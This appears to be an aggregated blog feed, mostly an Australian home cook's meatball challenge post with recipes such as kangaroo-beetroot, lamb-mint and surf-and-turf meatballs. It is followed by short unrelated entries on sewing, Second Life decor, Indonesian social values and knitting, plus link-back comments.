    Recipe Source:  Basic meatball recipes or based on recipes from cooks.com and Mark Bittman, with additional inspiration recipes provided from various online sources.

    Blog-checking lines:  The June Daring Cooks’ challenge sure kept us rolling – meatballs, that is! Shelley from C Mom Cook and Ruth from The Crafts of Mommyhood challenged us to try meatballs from around the world and to create our own meatball meal celebrating a culture or cuisine of our own choice.

    Here follows my meatball recipes please enjoy them as much as I and my friends and family did!!!


    Kangaroo and beetroot meatballs in red wine sauce


    I LOVE meatballs and I KNOW how to make them after doing them many 1000s of times and I never get tired of them. This is one of my personal best meatball recipes made with kangaroo steak minced, the ready-made mince is easily available in major supermarkets in Australia (Coles/Woolworths $8.75/kg). I combine it with the other classic Australian taste that is beetroot. It always surprises foreigners how much beetroot is eaten in Australia, in fact it is a standard addition in hamburgers in most takeaways. So how couldn't I combine kangaroo and beetroot into a humble meatball. I use very strongly flavour rye crisp bread combined with robust sun-dried tomato pesto to favour the meatball mixture this combination seems to produce a mellow flavour simmered meatball. This is always a winner at parties and BBQs especially if I have let the meatballs soak in the red wine sauce overnight. The biggest tips for light, moist and fluffy meatballs - use the best ingredients you can afford, freshly minced meat is best, sauté your aromatics, all ingredients must be cold when mixing, freshly made bread crumbs, a gentle touch, make a test meatball check seasoning and simmer the meatballs.
    Kangaroo is a very 'soft' meat; especially lean, tender, and soft-textured well suited for children's palate and also it cooks at a very low temperature and very fast which makes it excellent for simmered meatballs.
    My standard roo and beetroot recipe (roo is Australian slang for kangaroo) is below, this makes the lightest most tender meatballs. I like making a batch and letting it cool in the red wine sauce overnight and then reheating until just hot super tasty.
    It is a very easy recipe.
    Kangaroo and beetroot meatballs simmered in red wine sauce
    Makes a lot, 4 dozen meatballs
    1 kg kangaroo mince, (best if used cold)
    2 large beetroot, finely grated
    1 carrot, finely grated
    2 onions, finely chopped and pan-fried until caramelised
    1/2 cup of cottage cheese (fetta cheese works well, reduce salt if using)
    3-4 tablespoons olive oil, extra virgin
    3 rye crisp-bread soaked in 3 tablespoons of cream or milk
    1/2 cup freshly made bread crumbs from wholemeal pita bread
    1 bunch of parsley, finely chopped
    2 tablespoons sun-dried tomato pesto (basil pesto is fine also)
    1 large egg
    2 small hot chillies, finely chopped
    2-3 teaspoons salt (if in Australia use vegemite (1/2-1 tablespoon) instead of salt)
    3 teaspoons pepper
    1 large tin of cherry tomatoes
    1 cup of red wine, good quality (or if using for children cranberry jelly or beef stock)
    Instructions
    1. In a sauce pan combine the cherry tomatoes (smash them with wooden spoon) and red wine bring to a simmer and let simmer while making the meatballs.
    2. In a bowl combine all the other ingredients except meat until well mixed.
    3. Place meat in large bowl add the mixture gently combine until almost mixed. Make a very small meatball, add to simmering sauce, cook, taste, adjust seasoning of the meatball mixture. Finish combining the mixture.
    3. Using 1-1/2 tablespoons of mixture form meatballs, drop immediately into the simmering red wine sauce. Cook for 10-15 mins.
    4. Enjoy!
    Kangaroo Mince - easily available in supermarkets in Australia (cheap & super healthy) I usually mince my own meat but the market was out of kangaroo meat so I used pre-packed mince.



    Ingredients for meatballs (L to R caramelised onion, carrot, beetroot, parsley, in front cream soaked rye crispbread)
     photo 03a_zps758d7357.jpg
    The mixture that is added to the kangaroo mince (beetroot, carrot, caramelised onion, parsley, cottage cheese, cream soaked crisp bread, bread crumbs, whole egg, sun-dried tomato pesto) which is great on toast by itself.
     photo 04a_zpsf410d858.jpg
    The mixture all ready to made into meatballs
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    I did a fried test batch just to see how these worked out (not my usual procedure)
     photo 06a_zpse6f340a0.jpg

    The interior of the fried meatball, nice, soft and fluffy
     photo 07a_zps566f3b91.jpg
    My normal simmered meatballs
     photo 08a_zps7777aa20.jpg

    The interior of the meatball
     photo 09a_zps118277c4.jpg
    I have to say the fried ones were interesting not has tender as the simmered one but well worth eating. I have road-tested this recipe over many years to get the most tender simmered meatballs (especially made for children and fussy adults) so that is why the fried meatballs were well above average but not as good as the simmered ones.
    Lamb, mint and beetroot meatballs
     photo 11a_zpscd11875f.jpg
    Isn't the colour gorgeous on these bright pink lamb meatballs. This is one of the reasons I love this recipe and it goes so well with cucumber/mint/yoghurt dip. I like making tiny 2 teaspoon-sized meatballs for the kids just one bite for their tiny mouths. The caramelised beetroot and onion really adds to and intensifies the natural sweetness of lamb. This meatball recipe has been developed by me over a couple of years. As the butcher was explaining to me a long time ago the fat in lamb is "funny" it doesn't take too well being mixed with pork or veal or beef. That is why I like adding gelatine to the lamb mixture which adds a lovely tender moist mouth feel to the cooked meat balls. Also I like how the meatballs when fried have a "black" crust the characteristic brown-black colour of the crust results from the browned beetroot it doesn't taste burnt or bitter. If you bake the meatballs you can control the colour of the balls to suit your visual liking.

    A couple of years ago I was researching on the internet about meatball making and discovered a trick professionals use - adding gelatine to the soaking liquid which adds an unctuous mouth feel to the meatball (which is why a lot of meatball recipes add veal which is gelatine-rich). So I tried it in my standard lamb, mint and beetroot meatball recipe. I have to say the gelatine really adds a lot of moistness and a soft tender mouth feel to the interior of the meatballs. I do this gelatine trick to all my recipes now. Several people who had my lamb meatballs before the change commented after I added the gelatine about the tenderness and moistness of them now. (If anything I thought almost too tender and moist the first time I tasted them but that is my opinion.)
     photo 10a_zpsae4a6c1a.jpg

    Lamb, mint and beetroot meatballs based on this recipe
    500 gm (1 lb) lamb mince, freshly ground, best if used cold
    250 gm (1 very large) beetroot, grated and fried until caramelised
    2 onions, grated and fried until caramelised (do the onion and beetroot together)
    1/2 cup of cottage cheese, drained
    2 teaspoons salt
    2 teaspoons pepper
    1/2 teaspoon of gelatine bloomed in 1/2 cup of warm wine for 5 mins
    3 slices of white bread, torn into small pieces, then soaked in the cooled wine/gelatine liquid for 5 mins then squeezed dry and chopped
    1 bunch mint, finely chopped
    1 large egg if frying the meatballs, 2 large eggs if simmering
    (optional toasted sesame seeds for garnishing the cooked meatballs)

    Method
    1. Combine all the ingredients into a large bowl except for the meat. Mix until well combined.
    2. Add meat and gently mix until almost combined. Make a very small test meatball and cook, taste, adjust seasoning then continue combining mixture until just mixed. Make medium meatballs using 1-1/2 tablespoons of mixture or large meatballs using 3-4 tablespoons of mixture. Let rest in fridge for at least one hour and up to one day. Fry or simmer gently. I find it best to fry them first and then simmer (the frying adds a nice crust to the meatballs).
    3. Best served with yoghurt/mint/cucumber dip.
    4. Garnish with the optional toasted sesame seeds.

    The baked meatballs garnished in black and white toasted sesame seeds
     photo 12a_zps17689ada.jpg
    Spicy Tom Yum Asian Meatballs


    This is the recipe I have when I'm trying to impress at dinner parties. They are made with beef/veal (and the gelatine trick) and the same ingredients as TOM YUM soup. The colour for them is so golden and when fried the meatballs form a beautiful tasty crust. These are so beautiful piled high on a party platter. I know I know this soup is meant for prawns (shrimp) but it seems to work excellently for these meatballs, maybe the saffron, coconut cream and fried tomato paste does the trick.



    Tom Yum Soup Ingredients
    4 lime leaves,finely chopped
    2 lemongrass stalks, chopped into tiny pieces
    4 slices galangal, finely chopped
    2 thumbs of ginger, finely chopped
    4-8 bird's eyes chillies, finely sliced
    1 tbsp palm sugar
    Juice of 1-2 limes
    2 tbsp fish sauce (a good Thailand brand)
    3 large pinches of saffron infused in the lime juice and fish sauce
    2 green onions, thinly sliced
    1 small tomato de-fleshed seeded and chopped finely
    20 gm dried mushroom reconstituted in warm coconut cream with 1 tsp of gelatine
    1 tbsp of tomato paste fried until brown
    1/2 cup reconstituted glass rice noodles (or bread crumbs) soaked in the mushroom/coconut cream/gelatine liquid
    Meatballs
    1/2 kg of beef/pork belly (freshly ground)
    the above ingredients plus 1 large egg combined. Form 1-1/2 tablespoon-sized meatballs then fry gently.
     photo 20A_zps9165aa86.jpg

    Lentil and Spinach balls with blueberry sage glaze


    This is an intriguing recipe! It tastes so GOOD yet it is the weirdest combination of ingredients but it's always a winner at parties and surprise pot-lucks and it's easy to cook also (only a couple of mins in a mircowave and if you want an optional light browning in a fry pan.) It always STUNS guests when I tell them what these tasty entrées are made of - lentils, spinach, a couple of eggs and some seasoned bread crumbs served with a sticky blueberry sage glaze. This combination is so delicious and so stimulating to the palate, the different tastes oscillate on your tongue which is exactly what you want an entrée to do to stimulate the appetite for what-is-to-come. The lentil and spinach balls are delicious alone but teamed with the sticky blueberry sage glaze they really seem to switch the taste receptors to the "pleasure" setting. A good recipe to have and their freeze well also.
    I always get so many different answers when I ask what they tasted like, but universally they do say they liked them.
     photo 36A_zpsf7c5145a.jpg
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    The cooked balls (after microwaving for 2 mins in my very old microwave oven)
     photo 31a_zpsac88de06.jpg

    Lentil and Spinach balls with blueberry sage glaze
    Lentil and Spinach Balls (adapted from this recipe)
    2 cups of cooked green lentils (these lentils hold their shape when cooked)
    250 gm packet of frozen spinach, thawed, squeezed dry and chopped (you can use watercress or collard greens make sure that the greens are squeezed dry and chopped finely)
    2 large eggs
    1/2 - 3/4 cup heavily seasoned dry breadcrumbs (Italian-seasoned is fine)
    2 teaspoons of freshly cracked pepper
    Method
    1. If you want a very fine texture and even colour in the interior of your vegetarian balls, you can machine-process the spinach and eggs (not the lentils) together to form a bright green purée. (see here for a picture of a puréed lentil/spinach ball)
    2. Combine all the ingredients in a large bowl, form 3 tablespoon-sized balls. Refrigerate for at least one hour up to one day.
    3. Microwave on high for 2 mins (check at 1 min). Serve with a simple tomato sauce or the blueberry sage glaze.
    4. If you want you can lightly fry the microwaved balls to form a crisp thin eggshell crust the balls will brown slightly if fried.
    Blueberry sage glaze (based on this recipe)
    500 gm frozen blueberries (can use a mixture of red/purple berries) (cranberries or pomegranate molasses work well also but will need more sugar) (you can use 1/2 cup red wine but reduce the blueberries by half)
    1 tablespoons white vinegar (to taste)
    2 tablespoons sugar (to taste)
    1 teaspoon salt
    1/2 teaspoon pepper
    1/4 teaspoon hot chilli powder (optional)
    1 thumb of ginger, grated (optional)
    1 spring (green) onion, finely chopped (optional)
    1-2 garlic clove(s), crushed (optional)
    4 sage leaves
    2 tablespoons extra virgin olive oil (or butter)
    Method
    1. Combine all the ingredients in a small sauce pan reduce gently, taste and adjust vinegar or sugar until slightly sweet with a light sour after-taste. Use the optional ingredients if you are serving a meat (or strong tasting) main course.
    2. Remove sage leaves before serving.
    Blue-Veined Watercress Ricotta Balls








    Blue-Veined Watercress Ricotta Balls
    These ricotta based balls are simple to make and only contain a few ingredients; ricotta & blue-veined cheese, eggs, watercress (or spinach), and seasoned breadcrumbs (or flour). I included some puréed beetroot in the mixture (I had some left over) that is why this batch is pinkish in colour usually they are white. They fry up nicely but I like them simmered in soups and stews. If you use flour in the recipe you get "gnudi" a dumping, these are much lighter.
    Blue-Veined Watercress Ricotta Balls1 cup (250 gm) fresh ricotta cheese, broken up into small pieces (I use low fat)
    1 large bunch watercress (or spinach), blanched (1 min), squeezed dried & chopped finely
    1 bunch mint (or basil if using spinach), finely chopped
    1 large egg, lightly beaten
    1 teaspoon freshly cracked pepper
    1/2 teaspoon sea salt
    1/2 cup fresh breadcrumbs (or flour if you want gundi), seasoned (may need more)
    1/3-1/4 cup blue-veined cheese, finely crumbed (1/2 cup finely grated parmesan if using spinach)
    (optional 1/4 cup root veggie purée (beetroot, carrot or pumpkin) best if you are using spinach)

    Method
    Combine in large bowl all the ingredients mix until almost combined, make small test ball, cook, taste adjust seasoning, finish combining, form small (2 teaspoons), medium (1-1/2 tablespoons) or large (1/4 cup) sized balls, place into simmering soup or stews until cooked (small 3 mins, med 6 mins, large 10 mins)

    Hearty Winter Soup with Ricotta balls and Spinach Balls



    .
    Ballsy Hearty Winter Soup with Ricotta balls and Spinach Balls
    I made up a warm filling pearl barley, red and green lentil, split pea, tomato and beetroot winter soup I served it with my spinach/lentil balls and blue-veined watercress ricotta balls, (each 4 tablespoons-sized). (The spinach and lentil balls recipe has already been posted and the blue-veined water ricotta ball recipe is above). Perfect on a cold winter's day especially with buttered sourdoug rye bread.
    Ballsy Hearty Winter Soup
    1 onion, chopped, fried
    1 carrot, grated, fried
    optional 1-2 cloves garlic, minced
    1 piece celery, chopped, fried (fry (3 tablespoons olive oil) celery, carrot & onion (& optional garlic) together until onion goes translucent then add tomato paste)
    3 tablespoons tomato paste, fried (until brown), then add
    2 cups - 4 cups of good vegetable stock
    1-3 teaspoon salt & 2 teaspoon pepper, to taste
    1 cup pearl barley, soaked and washed
    1/2 cup green lentil, soaked and washed
    1/4 cup split pea, soaked and washed
    2 tablespoon red lentil, soaked and washed
    1 cup of finely chopped (or grated) beetroot
    Method
    Add in a large saucepan the fried ingredients, stock, barley and legumes. Simmer for 1-1/4 hrs adding extra stock as needed. Add the beetroot simmer of extra 1/2 hr. Add plenty of spinach/lentils balls and blue-veined watercress balls in the last 15 mins. Serve the balls covered in the thickened soup or stew.

    Super Duper Surf and Turf Meatballs
    These are so so so GOOD I scoffed the entire first whole batch down myself there is something about adding umami (the savoury taste sensation) to food especially to meatballs that really intensifies and accents the taste of all the ingredients. These tasted like something from a super fancy restaurant I even impressed myself, since it was an impromptu recipe just using leftovers and a couple of pantry staples, usually you aren't this lucky with "spur-of-the-moment" recipes. Deeply and profoundly satisfying and so exquisitely tasty. I will be making these again and again.


    I opened the fridge and this is what I had leftover from the night before:-
    1. a half packet (250 gm or 1/4 lb) of good quality hamburger mince (ground beef),
    2. a tin of smoked oysters in oil,
    3. a 1/4 packet of powdered mushroom, nori sheets and sesame (the blue plastic packet),
    4. vegemite,
    5. wasabi powder,
    6. some fresh bread crumbs (not shown), and
    7. 1 large egg (not shown)
     photo 51a_zpsd5515d08.jpg
    I noticed immediately that many of the ingredients were rich in umami. After sweet and salty, sour and bitter, there is umami—the fifth taste. Discovered at the beginning of the last century by the Japanese, the word umami translates roughly to mean "deliciousness" or "deliciously savour" — an understatement if ever there was one. Rich, deep and intensely savoury, umami exists in a number of foods and I had a gold mine of them.
    So I decided to make a surf and turf meatball (technically an umami-rich wasabi beef meatball stuffed with smoked oysters). The powdered mushrooms, nori, vegemite, smoked oysters and beef are all rich sources of umami (the savoury taste in foods). Also roasting, caramelizing, browning and grilling all boost the umami taste sensation in foods. Which is why this is a FABULOUS little entrée super rich in umami literally drenching in "deliciousness". I would serve with blue-vein cheese (rich in umami) or shaved parmesan cheese (one of the richest sources of umami), black olives (rich in umami) with some fried tomato paste (rich in umami) or fresh ripe tomatoes (rich in umami), tabasco sauce or hot chilli sauce, fish sauce (rich in umami), balsamic vinegar (rich in umami) and freshly minced garlic and a some finely chopped herbs parsley or mint, with a little of the reserved oyster oil. YUM YUM YUM. These tasted so good I'm calling them super duper surf and turf meatballs.
    This is the best one so far on my meatball making challenge!. On reflection and making two other batches for my friends who LOVED these, I'm entering these in the college's (that I'm attending) cooking competition next week so tasty and satisfying hummmmmm.
    How to make the meatballs
     photo 50a_zps5d78718e.jpg
    The finished meatballs waiting to be cooked (all the same size)
     photo 52a_zps48c3d78c.jpg
    Super Duper Surf and Turf Meatballs
    250 gm (1/4 lb) minced beef, best if used cold
    100 gm (3-1/2 oz) tin of smoked oysters, drained, reserve oil
    1 large egg, lightly beaten
    1/2 cup of fresh breadcrumbs, heavily seasoned
    2 teaspoons of vegemite, mixed into the beaten egg (or 1 tablespoon fish sauce)
    1 teaspoon pepper
    1/4-1/2 teaspoon of wasabi powder, to taste
    1/4 cup of dried mushroom, shredded (or 2 tablespoons of mushroom powder)
    1 sheet of nori, finely shredded
    1/2 tablespoon toasted sesame seeds
    Method
    1. Combine in a large bowl all the ingredients except the oysters until almost combined. Make a very small test ball, cook, taste, adjust seasoning. Place 1 tablespoon of mixture into a semicircular spoon, poke finger into mixture to form a hole stuff with 3 smoked oysters cover the stuffing with the displaced beef mixture to form a complete meatball, repeat until all the mixture and oysters are used up, makes about 16-18 meatballs (See pictures above).
     photo 55a_zps178ad0f1.jpg

    Chicken balls

    I made two sorts of chicken balls; a sun-dried tomato, olive and ricotta chickenball and a sesame seed coated Thai coconut lime chickenball
     photo 62a_zps2b788145.jpg
     photo 64ab_zps2e0e1b6b.jpg

    Sun-dried tomato, olive and ricotta chicken-ball
     photo 60a_zpse287828b.jpg

    Sesame seed coated Thai coconut lime chickenball
     photo 61ab_zps47cd2f04.jpg

    Sun-dried tomato, black olive and ricotta chicken-ball
    300 gm chicken, mince
    300 gm ricotta, finely crumbed
    1/4 cup sun-dried tomato, finely chopped
    28 black olives, stoned, (use 2 black olives per 1-1/2 tablespoon meatball)
    1 large egg
    2 tablespoons basil, finely chopped
    1 large egg, lightly beaten
    1/4-1/2 cup of fresh bread crumbs, heavily seasoned

    Sesame seed coated Thai coconut lime chicken ball
    500 gm chicken, mince
    3 tablespoons coconut cream
    1 tablespoon fish sauce
    1 packet of Hot and Spicy Thai noodle soup (any spicy Asian style is fine)
    2 lime leaves, finely shredded
    1/4 cup of fresh bread crumbs, heavily seasoned
    1/4 cup of peanuts, pieces
    1 large egg, lightly beaten
    1 red chilli, finely chopped
    4 tablespoons sesame seeds, for coating

              Comment on The Witcher 3 Guide – How to Complete The Whispering Hillock Quest by Ghost In The Tree Witcher 3 Reddit | Watch Ghost In The Shell Online        
    […] The Witcher 3 Guide – How to Complete The Whispering … – The Whispering Hillock quest will lead Geralt to a talking tree in The Witcher 3: … How to Complete The Whispering Hillock Quest. … the Ghost of the Tree, … […]
              Another Blog Hop         
    Many of you may have noticed that there seems to be a blog hop circulating around at the moment. The lovely Tea from Tea Okereke chose me to continue the 'Hop!' So here I go.

    http://www.ficklesense.com/2013/02/my-cut-out-lace-challenge.html
    Photo: Michael Dooney Post: My Cut Out Lace Dress Challenge


    Why do you write?
    Writing is not exactly a strength of mine, I am generally envious of many bloggers writing styles. I think that my structured, science-y brain makes me a little dry. But there are a number of reasons for writing my blog
    The main reason is to document my sewing process and hopefully encourage others to take up the hobby. I am a firm believer in sustainable fashion and believe that understanding the making of a garment (from sourcing fabrics, to constructing and finishing details) encourages us to have some insight into clothing production.
    Writing the blog also pushes me to have self imposed deadlines for my sewing. I have realised that I need these deadlines, otherwise I get easily distracted! Having a blog which focuses on sewing and creativity is a wonderful thing for my overly excited brain!

    What are you working on?
    At the moment I am working on opening and revamping my Fickle Sense Etsy store (I have 2 shops one for fashion (Fickle Sense) and one for screen printing(FS Screen Printing))In the Fickle Sense store I am combining my loves for character design, illustration, textile design, screen printing, sewing and sustainable fashion. Having my own fashion label has been a dream of mine.... so hopefully all of my hard work pays off. I am making handmade, organic pyjamas! I have not been posting too much on the Fickle Sense blog as I have been drawing, screen printing, sewing prototypes and sewing my stock for the past few months. This image is a sneak peak into what you can expect. I will hopefully have the shop launched in about 2 weeks! The theme is English Breakfast!


    How does your blog differ from others of its genre?
    I don't know how much I differ from other sewing type blogs, but I can tell you how I like to work... perhaps this makes me a little different?

    My husband and I have a combined love for photography so our photo taking process is very planned out. For 95% of our images we use medium format cameras (either the Yashicha or the Mamiya) and take 5 - 10 frames each shoot  Sometimes we have an idea of what we want the image to look like (e.g. For the photos in the snowy the picture above 'My Cut Out Lace Challenge' I knew that it was going to snow the next morning, so we got up early before work and went to take photos in the fresh snow, when the snow clung to the trees). Or sometimes we take a day trip somewhere so we take photos there. We get the film developed by a one man, local lab. My husband then scans the films for me. So it is quite a long process compared to digital.
    I am also a lover of textile design, so I often create my own prints and textiles. I am hoping to be more experimental and artistic with my outfits in the coming months. So there are more textiles to come!
    I also have a true passion for sustainable fashion. So much so, I have created a website named 'i give 2 hoots' which focuses on sustainable fashion. I am revamping the site ready for more inspiring bloggers. Find out more here.


     

    How does your writing process work?
    I  have tried to set dedicated times to blog. I was inspired to try this out as many artists such as Nick Cave block out times for writing. This was not so successful for me. I found that I like to jump between projects (e.g. Knitting, crocheting, writing, sewing, drawing, printing) depending on my mood. I generally need to be on a 'writing roll' and I will then write a heap of posts at one time. 

    Thanks to Tea for mentioning me in her Hop. Tea really creates some lovely, colourful garments and I enjoy the stories that go along side her garments on Tea Okereke. I particularly liked this neon pink number below. I was first drawn to it because of the parrot print (I am a bird lover), but then reading deeper into her story, it turned out to be a useful outfit for an archeologist :) You can read her reasoning here.

    http://teaokereke.blogspot.de/2014/07/fall-underneath.html#more
    Image Tea Okereke
    Now the next two Hops are going to ..... Meg from Made By Meg and Heather Lou from The Closet Case Files.
    Made by Meg, must be the most hard working sewer out there. There are always newly sewn garments featured on her blog with reviews. Certainly one to follow. I also like that she sews for her man. I am a fan of menswear tailoring (I would love to do a tailoring course) and sewing for my husband, so I love seeing others sewing for the special man in their lives. My favourite outfit of hers is the summer bustier

    Image from Meg by Made

    Heather Lou is also an inspiring blogger. My favourite post of hers was a rather personal one, Taking a Leap. This post discusses her new career change where she now makes her own indie patterns for sewers to create; Bombshell Swimsuit, Nettie Dress and Body Suit, Ginger Skinny Jeans. What a brave soul. I also love that she is a true sewing community member where she often writes about others projects. This image below is my favourite outfit of hers: Sallie Silk in Shigawake


    Image from Closet Case Files
    Blog on!


              Comment on Hidden ConfigMgr 2012 SP1 toolkit utilities: CMTrace by Reading ConfigMgr Logs with Powershell        
    […] you’re a ConfigMgr admin we’re all familiar with log reading tools like CMtrace and it’s predecessor SMStrace. I use CMtrace religiously when troubleshooting an application […]
              Comment on PowerShell Script to Download and Install Updates from Windows Update and WSUS by rejohnson        
    Can this be modified to just report on the updates that would download? Windows 10 won't let us look at the list of what's available without installing them, for some unintelligible reason... Thanks!
              Comment on Hidden ConfigMgr 2012 SP1 toolkit utilities: CMTrace by Reading ConfigMgr Logs with Powershell - Adam, the Automator        
    […] you’re a ConfigMgr admin we’re all familiar with log reading tools like CMtrace and it’s predecessor SMStrace.  I use CMtrace religiously when troubleshooting an […]
              Comment on Start to Finish: SCCM Package to Uninstall Old Versions of Java & Install one new Version by SCCM - Deploy Java using PowerShell App Deployment Toolkit - Tyler Humbard        
    […] from this post comes from my own searching for best practices in deploying Java and the sharing of another post. While I have used the batch file method in the past, the PowerShell App Deployment Toolkit […]
              Home Show – Cleo Design        
    Home Show 2017 has begun and runs until the 29th July. Stop by and check out a whole heap of pretties from Cleo Design. Lots to see and play with! I just adored this sweet little bench with a shell print blanket and cushion, heaps of poses built right in. The waterfall decor is also on sale at the event. You can also find this perfect beach retreat at Home Show. Drapes blowing, pretty lights and cute half-open windows. Perfect place to shelter from the sun or hang out in at sunset. Quite a few decor items to fit around it too ! I really enjoyed lolling about on this shabby chic couch, single pringle poses plus couples. I’m just showing the smallest glimpse of whats for sale btw – you’ll need to go take a peek. Home Show 
    Filed under: Blogging SL, Uncategorized, Virtual Fashion Feed Tagged: beach, cleo design, Faithless Babii, furniture, home & garden, home show, interior design, mesh, Pure Eggs & Spam, second life, SecondLife, summer time furnushing, The Home Show

    View original post on Pure Eggs & SpamRead the rest
              Perfect Ten & a cheap summer !        
    New round of Perfect Ten and it got me thinking about searching out some cheap & free items to do some summertime decorating. I’ve been working in my summer-house for a week or so now in my real life, so gave it a go to replicate in SL. First off the Beach hut with deck is actually  FREE! It’s from The Beachstore and is 16Li, in the box I discovered some further little huts in a rainbow of colour – how lovely. The retro looking ice box is also a freebie and only 2Li. For just $10L you can snap up the chairs & table set – 10Li in total, but you don’t have to use the whole set. All other decor are dollarbies listed below for your convenience. The cactus plants are by Zinnia, various prices and LI. I found this sweet skirt and top on the MPlace for $10L, lots of mesh body sizes included and the cutest ever sandals at Kirin on the lucky board – mesh feet and standard sizes. Now this is the paid for piece and its well worth shelling out for.… Read the rest
              Macam macam Nilai Sosial Beserta Penjelasan dan Contoh        
      Hari ini saya akan memberikan sebuah artikel IPS sosiologi mengenai nilai sosial, sebelum saya memberikan artikel mengenai macam macam nilai sosial kalian harus tahu dahulu mengenai apasih yang dimaksud dengan nilai sosial itu.

    Macam macam Nilai Sosial
    Ilustrasi - Macam macam Nilai Sosial Beserta Penjelasan dan Contoh


    Jadi yang dimaksud dengan Nilai sosial adalah : Menurut Soerjono Soekanto : Nilai adalah konsepsi abstrak dalam diri manusia mengenai apa yang dianggap baik dan apa yang dianggap buruk.  Jadi itu yang dimaksud dengan nilai.

    Okay langsung saja ke macam macam nilai sosial :

    Macam Macam Nilai Sosial : 

    Di tinjau dari sifatnya, Nilai nilai sosial dibedakan menjadi dua yakni : 
    1. Nilai Objektif (Bersifat Umum )
      Yaitu
      nilai yang diyakini kebaikan dan kebenarannya oleh seluruh anggota masyarakat sehingga menjadi ukuran atau patokan secara kolektif.
      Contohnya : Menghormati orang tua adlah nilai yang bersifat umum karena harus dilakukan oleh semua orang terhadap kedua orang tuanya.
    2. Nilai Subjektif
      Yang dimaksud nilai subjektif yaitu nilai yang mementingkan pertimbangan individu, berdasarkan ukuran ukuran mengenai kebaikan dan kebenaran seseornag dalam menentukan sikap dan perilakunya. Contohnya : Meskipun menghormati Ayah dan Ibu termasuk nilai yang bersifat umum, namun setiap orang mempunyai perbedaan untuk menghormati kedua orangtuanya. Misal si A melakukannya dengan cara membeli barang barang yang diperlukan oleh orangtuanya, lalu si B Bertingkah laku secara sopan kepada kedua orangtuanya, lalu si c melakukan dengan cara menitipkannya ke panji jompo , dan cara lain sebagainya.

    Ditinjau dari isinya, nilai nilai sosial dibedakan menjadi : 
    1. Nilai Estetis  
      Yaitu nilai yang menyangkut ekspresi dan rasa kejiawaan keindahan, misalnya terhadap karya karya design dan seni.
    2. Nilai Religius 
      Yakni nilai yang berkaitan dengan keimanan terhadap Tuhan Yang Maha Esa. Misalnya Masjid, Gereja, Pura dianggap sangat bernilai karena berhubungan dengan keimanan dan keyakinan seseorang terhadap Tuahn Yang Maha Esa sesuai dengan agama yang dianutnya.
    3. Nilai Etis
      Lalu
      Ada nilai Etis Adalah nilai yang berhubungan dengan segala sesuatu yang menyangkut perilaku yang terpui. Misalnya : menghormati ayah dan ibu, menyantuni anak yatim. 

    Ditinjau dari ciri-cirinya, nilai0nilai sosial dapat dibagi menjadi 2 macam yakni : 

    A. Nilai Dominan

    Yaitu nilai yang dianggap lebih penting dari nilai nilai lainya. 
    Ukuran dari dominan atau tidaknya suatu nilai didasarkan pada nilai nilai berikut : 
    1. Banyaknya orang yang menganut nilai tersebut
      Contoh : Pada waktu terjadinya reformasi sebagian masyarakat Indonesia menghendaki adanya perubahan ketimbang mempertahankan status quo.
    2. Berapa lama nilai tersebut dianut oleh anggota masyarakat.
      Contoh : Sejak dahulu masyarakat Jogja dan Surakarta melaksanakan tradisi sekaten untuk memperingati kelahiran nabi Muhammad SAW di alun- alun utara keraton
    3. Tinggi rendahnya usaha orang atau masyarakat untuk dapat melaksanakan nilai tersebut.
      Contoh :
      Orang Inidonesia pada umumnya berusaha pulang kampung (mudik) di hari hari besar keagamaan , seperti halnya Hari Raya idul Fitri
    4. Prestise atau kebanggaan bagi orang yang melaksanakan nilai tersebut.
      Contoh : Memiliki mobil dengan merk terkenal dapat memberikan prestise atau kebanggaan tersendiri.

    B. Nilai Mendarah Daging

    Yaitu nilai yang telah menjadi kepribadian atau kebiasaan sehingga ketika seseorang nelakukannya kadang tidak melalui proses berfikir atau pertimbangan lagi. Biasanya nilai ini telah tersosialisasi sejak seseorang masih kecil. Umumnya bila nilai tidak dilakukan, ia akan merasa malu, bahkan akan merasa sangat bersalah.
    Contoh : orang tua yang melihat anaknya ditangkap polisi karena mencuri, ia akan merasa bersalah karena dianggap lalai dalam mendidik anak. 

    Ditinjau dari fungsi penyatuan masyarakat, nilai nilai sosial dibedakan menjadi : 
    1. Nilai Nilai Asosiatif
      Yaitu nilai nilai yang mendorong terwujudnya kerja sama, asimilasi, ataupun akomodasi diantara orang perorang atau kelomopok dalam masyarakat.
      Contoh : sikap menghargai orang lain, merupakan sikap yang sangat bernilai akrena dapat mendorong kerjasama dengan orang lain.
    2. Nilai nilai Disasiatif
      Yaitu
      nilai nilai yang mendorong timbulnya konflik (pertentangan) dalam masyarakat.
      Contoh : Sikap mau menangnya sendiri, merupakan sikap yang tidak mempunyai nilai akrena dapat mendorong terjadinya konflik dengan orang lain.

    Max Sheller Membedakan jenis jenis nilai yang ada dalam kehidupan masyarkaat ke dalam empat jenis, yaitu : 

    1. Nilai nilai kenikmatan
      Yakni
      nilai-nilai sosial yang menyebabkan seseorang memperoleh kenikamatan serta kesenangan . Seperti kegembiaraan, kesuksesan dan lain sebagainya.
    2. Nilai nilai kehidupan
      Yakni nilai nilai sosial
      yang paling penting bagi kehidupan masyarakat. Seperti kesehatan, kesejahteraan umum, saling pengertian , keharmonisan dan lain sebagainya.
    3. Nilai nilai kejiwaan
      Yakni Nilai nilai sosial yang berhubungan dengan kejiwaan dan perasaan seseorang. Misal nya nilai keindahan, kehalusan budi dan kebenaran.
    4. Nilai nilai kerohanian
      Yakni nilai-nilai sosial yang berhubungan dengan moralitas yang bersumber pada ajaram Tuhan melalui Kitab suci.

    Terima Kasih telah membaca artikel kami dengan judul " Macam macam Nilai Sosial beserta Penjelasanya serta Contoh " Semoga artikel kami mengenai Macam Macam Nilai Sosial ini bermanfaat untuk anda. Untuk artikel selanjutnya akan kami lanjutkan mengenai Jenis jenis nilai yang ada dalam kehidupan masyarakat menurut para ahli. Sekian terima kasih.


              Only three more days!        
    I have been knitting away at a large afghan to give my brother as a wedding gift, and have been neglecting ufo's. And, I am pleased to announce that I absolutely followed the rules thus far in the bustalong! I did buy yarn a couple of times for specific gifts that had to be done and for a project I was getting paid to do, but other than that, I resisted any and all urges to buy yarn.
    Ooh, and, there is someone out there who has written a tutorial for how to use up leftover sock yarn: Shelly Kang. The example is under the title: "Blankie Friday: The Reckoning". Evidently, the Yarn Harlot challenged her readers to inundate Shelly with sock yarn leftovers. At some point, I might have to challenge people to send ME sock yarn leftovers, but not until I get to that particular project, eh?
    Once Cece gets back from Camp Cockamamie, I think it will be time to discuss whether/ how we want to continue this fun and awesome knitalong. This has been very inspiring and wonderful. I have relearned to enjoy going through the stash and thinking of things I want to make, rather than wasting my money on more yarn I don't need. Hooray!
              Hidden Costs of Owning a Home        

